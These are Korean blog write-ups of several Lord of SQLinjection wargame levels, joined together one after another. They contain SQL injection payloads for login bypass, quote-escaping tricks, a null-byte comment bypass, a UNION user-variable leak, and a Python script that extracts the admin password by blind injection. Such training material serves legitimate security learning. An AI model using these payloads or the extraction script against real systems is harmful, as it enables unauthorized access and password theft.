필터링 조건 

1) prob, _ . () 

2) regex, like 

3) addslashes

일단, 3번 조건으로 인해 id에 맞는 pw를 자동화코드를 이용하여 풀어야 한다.

또한, like가 필터링 되고 있어서 like _ _ , like a% 등과 같은 문법을 사용할 수 없다.


처음 풀이한 방법은 가장 먼저 이전에 미리 작성해두었던 python 코드로 length(pw), ascii(substring(pw,?,1))를 이용하여 풀었는데 이걸로는 해결되지 않았다. 일단 아스키코드 범위 48번부터 122번까지 값 ( 0 ~ z) 중에 pw에 해당하는 것은 하나도 없었다. 그래서 이 범위의 값이 아닌 다른 문자라고 생각을 하다가 힌트를 보니 한글이라고 했다!! 

그래서 한글의 유니코드 값을 구글링해보니 한글코드 범위 {AC00-D7AF} 라는 것을 파악하고 그럼 hex값으로 먼저 찾아야겠다라는 생각을 했다.


자동화코드를 짜기에 앞서 제대로 쿼리문을 작성해 잘 동작하는지 부터 확인했다.

싱글쿼터의 필터링이 없으니 이렇게 짤 수 있을 것 같다.

payload : pw= ' or id = 'admin' and ascii(substring(123,1,1))=49# '

전체 쿼리문이

where id='admin' and pw='' or id = 'admin' and ascii(substring(123,1,1))=49# '

pw는 모르니까  id = 'admin' and pw= ' '  (false)그 다음에 오는 id = 'admin' 이 or과 연결됨으로 인해 (true)

그 뒤에는 and 로 연결되기 때문에  ascii(substring(123,1,1))=49 가 참이면 참이 되고 거짓이면 거짓이 되는 blind injection이 가능하다.

 그리고 마지막에 존재하는 싱글쿼터는 %23(#) 주석처리로 무력화

잘 동작하는 것 확인 후

 

1) pw 길이 찾기

def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id= 'admin' and length(hex(pw))={} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

length(hex(pw)) 로 pw를 16진수화한 길이 찾기

2) pw 찾기

#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    #for i in range(1,len_num+1):
     #   print(i,"번째 검색 중")

    for i in range(1,len_num+1):
        for j in range(48, 122):  #아스키코드값 48번부터 122번
            value = "' or id= 'admin' and ascii(substring(hex(pw),{},1))={}#".format(i,j)           #injection payload 
            print (value)
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            #print (j)
                        

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

pw= 한글 그 어떤 것..뭔지 모름 → hex(pw) 16진수화하기 → substring()함수로 16진수 첫글자씩 찾기 → ascii(substring(hex(pw))) 16진수 문자 ascii전환하여 확인하기

pw = 0000C6B00000C6550000AD73 

이 hex값을 가지고 한글로 변환하기

0000_C6B0 0000_C655 0000_AD73 총 3글자인 것 같다..

https://jjeong.tistory.com/696

 

유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF}

유니코드(UTF-8) 한글 코드표, 한글코드 범위 {AC00-D7AF} U+AC00 to U+AD00 0 1 2 3 4 5 6 7 8 9 A B C D E F UTF8: 234, 176, 128; UNICODE: AC0 가 각 갂 갃 간 갅 갆 갇 갈 갉 갊 갋 갌 갍 갎 갏 UTF8: 234, 176, 144; UNICODE: AC1 감

jjeong.tistory.com

위 유니코드표를 통해 한글을 찾으면 " 우 왕 굳" 이 된다...

 


이 외에 다른 방법도 존재하는데..

그냥 패스워드의 길이를 찾으면

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id= 'admin' and length(pw)={} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            #print (response.text)
            print("password length : ", len_num)
            break
    return len_num

원래는 pw 길이가 12인데 이게 답이 한글이라고 힌트를 얻고나서 보면
영문, 숫자, 비트는 모두 1byte인데, 한글이 2byte라고 생각을 하니
원래 pw 길이가 12이므로 한글로 변환하면 길이가 6이 된다.

그러면 한글 1개 글자당 2byte이므로 2x3 = 6 총 3글자가 된다.

3글자로 유추했으니 LIKE_ _ _ 로 유추할 수 있지만.. LIKE가 필터링되기 때문에 이건 불가능함.


 

또 다른 방법이 존재한다.

이 방법은 MYSQL 버전에 따라 다르고, MYSQL 이 아니라면 불가능하고 .. 여러 조건이 따르지만 공부하고자 작성하려 한다.

mysql 에서 변수를 이용하는 것인데..  쿼리문에 사용자 정의 변수를 선언하는 것이다.

SET @변수명 = 대입값;

SELECT @변수명 := 대입값;

SET을 사용할 때는  = , SELECT를 사용할 때는 :=  사용한다는 점에서 차이가 있다.

사용법에 대한 예시는 다음과 같다.

start라는 변수와 end 라는 변수를 사용하여 id를 검색할 조건을 지정한 후 rev 값을 조회한다.

결과는 잘 나온다.

이처럼 select @변수명:= 값 문법을 이용하여 해결하고자 한다.

payload :  pw = ' ' or id = 'admin' and (select @a:=pw) union select @a # '

select @a:= pw

a라는 변수에 우리가 찾아야 하는 pw 값을 넣어주면 사용자 정의 변수 a를 이용하여 해결하는 문제이다.

여기서 끝나는 게 아니라 

union select @a

union 연산자를 이용하여 

[ select id from prob_xavis where id='admin' and pw='' or id ='admin' and (select @a:=pw) ] union select @a #'

맨 앞 select 문과 select @a 쿼리의 결과를 합쳐준다. 

실행 쿼리에 있는 id의 값이 hello 뒤에 오는데 사실은 union을 이용하면 [ admin,  pw값 ] 둘다 결합되는거지만 결과 배열의 마지막 값인 pw값이 반환되게 된다.

 

좀더 정확한 쿼리를 만들기 위해 여러 시도를 하다가

or 다음에 오는 id='admin'이라는 조건을 제거 후 변수를 이용하여 쿼리를 돌렸더니 쓰레기값인 줄 알았는데 기본적으로 조건을 안 걸어주면 해당 데이터베이스에 첫번째 행의 값이 나온다. 첫번째 행은 대부분 guest 

guest의 pw가 맞았다....

where id = 'admin'으로 조건을 확실히 걸어주니 정확한 패스워드를 찾을 수 있었다!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step21. iron_golem 풀이  (1) 2023.06.19
[LOS] step20. dragon 풀이  (1) 2023.06.15
[LOS] step18. nightmare 풀이  (0) 2023.06.14
[LOS] step17. zombie_assassin 풀이  (0) 2023.06.14
[LOS] step16. SUCCUBUS 풀이  (0) 2023.06.14

필터링 찾기

1) pw 파라미터에 _ . # -  필터링

2) pw 파라미터 입력값 길이가 6 이하여야 한다.

6이상 길이가 들어가면 필터링
# 필터링

 

이 문제를 풀려면 위 필터링 조건도 맞추면서 id != 'admin' 을 무력화하고 pw가 true가 되어야 쿼리문이 넘어가서 풀린다. 즉 pw 입력값으로 인해 전체 구문이 true 가 되어야 한다. 

일단은 pw를 모르니 pw 뒤에 오는 id ! = 'admin' 무력화를 위해 주석처리가 필요하다. 

주석처리 방법은 다음과 같다.

# (%23)
/* */
- -
;%00

일단 #과 - 필터링되기 때문에 불가능함.

/* */ 방법도 안되는 듯 싶다.  */로 닫을 수 없음.

그럼 ;%00를 통해 필터링을 우회해야 한다. pw=(' ')도 true로 만들어야 하기 때문에 방법을 찾다보니 자동형변환을 이용해야 하는 것 같다.

 자동형변환 예시 ) '1' = 1 (true) :  왼쪽은 문자열, 오른쪽은 숫자이지만 1=1 로 인식할 수 있음.

이 점을 이용하여 

pw = (' ') = 0 

pw = (' ') 은 false 이고 0도 false 이므로 false = false 가 되서 결론적으로는 true 가 된다!!!

 

payload : pw = ')=0;%00 

 

solve!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step20. dragon 풀이  (1) 2023.06.15
[LOS] step19. xvais 풀이  (1) 2023.06.15
[LOS] step17. zombie_assassin 풀이  (0) 2023.06.14
[LOS] step16. SUCCUBUS 풀이  (0) 2023.06.14
[LOS] step15. assassin 풀이  (0) 2023.06.14

필터링 조건 찾기

1) id와 pw 파라미터에 들어오는 문자열을 모두 뒤집는 strrev 함수가 쓰인다.

2) id와 pw 파라미터에 _ . '  모두 필터링

3) id와 pw 파라미터에 ' , " , \  입력시 앞에 \ 하나씩 추가됨.

' → '\

" → "\

\→\\

 

이번 문제는 3번을 역이용해야 하는 것으로 보인다. 

step16번 문제에서 싱글쿼터 필터링을 우회하기 위해 백슬래쉬 (\) 를 이용하여 문자열로 만들었다. 이 점을 이용해야 한다.

백 슬래쉬를 이용하려면.. 

where id = ' test' and pw = ' test' 에서 id의 첫 싱글쿼터와 pw의 첫 싱글쿼터가 한 쌍이 되도록 만들어야 한다.

 

1차시도)

첫 시도는 다음과 같다. 앞선 문제와 동일하게 id= \ 먼저 넣고, pw에는 무력화할 or 1=1 # 넣기

payload : id = \ & pw= # 1=1 ro (strrev 함수 때문에 뒤집어서 입력값 넣기)

이 시도로 where절을 분석해보면..

where id=' \\' and pw= ' or 1=1 #'

: id의 1번 싱글쿼터와 pw의 1번 싱글쿼터만 쌍을 이뤄야 하는데 id의 2번 싱글쿼터가 먹혀서 실패

라고 생각했지만..

..

id 값에 \ 백슬래쉬 1개만 입력하면 자동으로  \ \ 2개가 들어간다.
그러면 첫번째 \ 가 두번째 \ 도 문자열로 만들기 때문에 두번째 \ 가 싱글쿼터를 무력화시키는 걸 방해하게 된다.

그래서 id의 2번 싱글쿼터가 무력화되지 않는 것!

 

2차시도)

id 파라미터에 싱글쿼터 1개만 입력하게 되면 '\ 이렇게 들어간다.

id = ' ' \' and pw= ' or 1=1 # ' 

이 경우에는 id의 3번째 싱글쿼터는 \ 때문에 문자열이 되겠지만, id의 2번째 싱글쿼터가 생존하고 있으므로 실패

 

3차 시도)

id = " 더블쿼터를 넣게 되면 뒤에오는 \ 가 싱글쿼터를 문자열로 잘 만들게 되면서 공격이 성공한다.

id=' [ " \' and pw= ]' or 1=1 # '   : 노란색 부분이  id의 파라미터에 들어가는 문자열이 된다

 

solve!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step19. xvais 풀이  (1) 2023.06.15
[LOS] step18. nightmare 풀이  (0) 2023.06.14
[LOS] step16. SUCCUBUS 풀이  (0) 2023.06.14
[LOS] step15. assassin 풀이  (0) 2023.06.14
[LOS] step14. giant 풀이  (0) 2023.06.13

가장 먼저 필터링 확인하기

1) id 파라미터 : _ . ' 

2) pw 파라미터 : _ . ' 

분명 싱글쿼터가 모두 필터링되는데, 이 문제를 해결하려면 id 값이 있어야 한다.

pw는 모르니 pw 파라미터를 무력화시키면서 id 파라미터에는 입력값이 들어가야 문제를 풀 수 있다.

하지만 이를 무력화하려면 id에 들어가는 싱글쿼터 필터링을 무력화하라는 말인데... 싱글쿼터 필터링 우회 기법을 알아야 한다.

몇 개 찾아보니 다음과 같다.

 " " 더블쿼터 사용
\ 백 슬래쉬 사용 

일단 더블쿼터로는 불가능했다. id = ' '  두번째 오는 싱글쿼터를 무력화할 수 없기 때문이다.

그럼 백슬래쉬를 사용해야 하는데, 여기서 백슬래쉬의 역할을 알고 가야 한다.

\ : 뒤에 오는 ' 가 문자열로 인식됨

단, 이 방법은 id와 pw 두 개의 파라미터가 존재할 때만 가능한 방법이다!!!!

id = 'test' and pw= 'test' 라고 할 때..

id= ' test\' and pw= ' test' 여기서 두번째 싱글쿼터가 문자열이 되고 세번째 싱글쿼터가 두번째가 되어버린다.

마지막 싱글쿼터는 짝이 맞지 않은 것..

그래서 마지막 싱글쿼터만 주석처리로 무력화하면 된다. 

 

payload : id = \ & pw=or 1=1 %23

id = ' [\' and pw=] ' or 1=1 #'

: 문자열 [ \' and pw= ]을 true로 만들어야 하니 뒤에 or 1=1을 붙여주고 주석처리(#)로 세번째 싱글쿼터를 무력화하는 것

 

 

solve!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step18. nightmare 풀이  (0) 2023.06.14
[LOS] step17. zombie_assassin 풀이  (0) 2023.06.14
[LOS] step15. assassin 풀이  (0) 2023.06.14
[LOS] step14. giant 풀이  (0) 2023.06.13
[LOS] step13. BUGBEAR 풀이  (0) 2023.06.13

+ Recent posts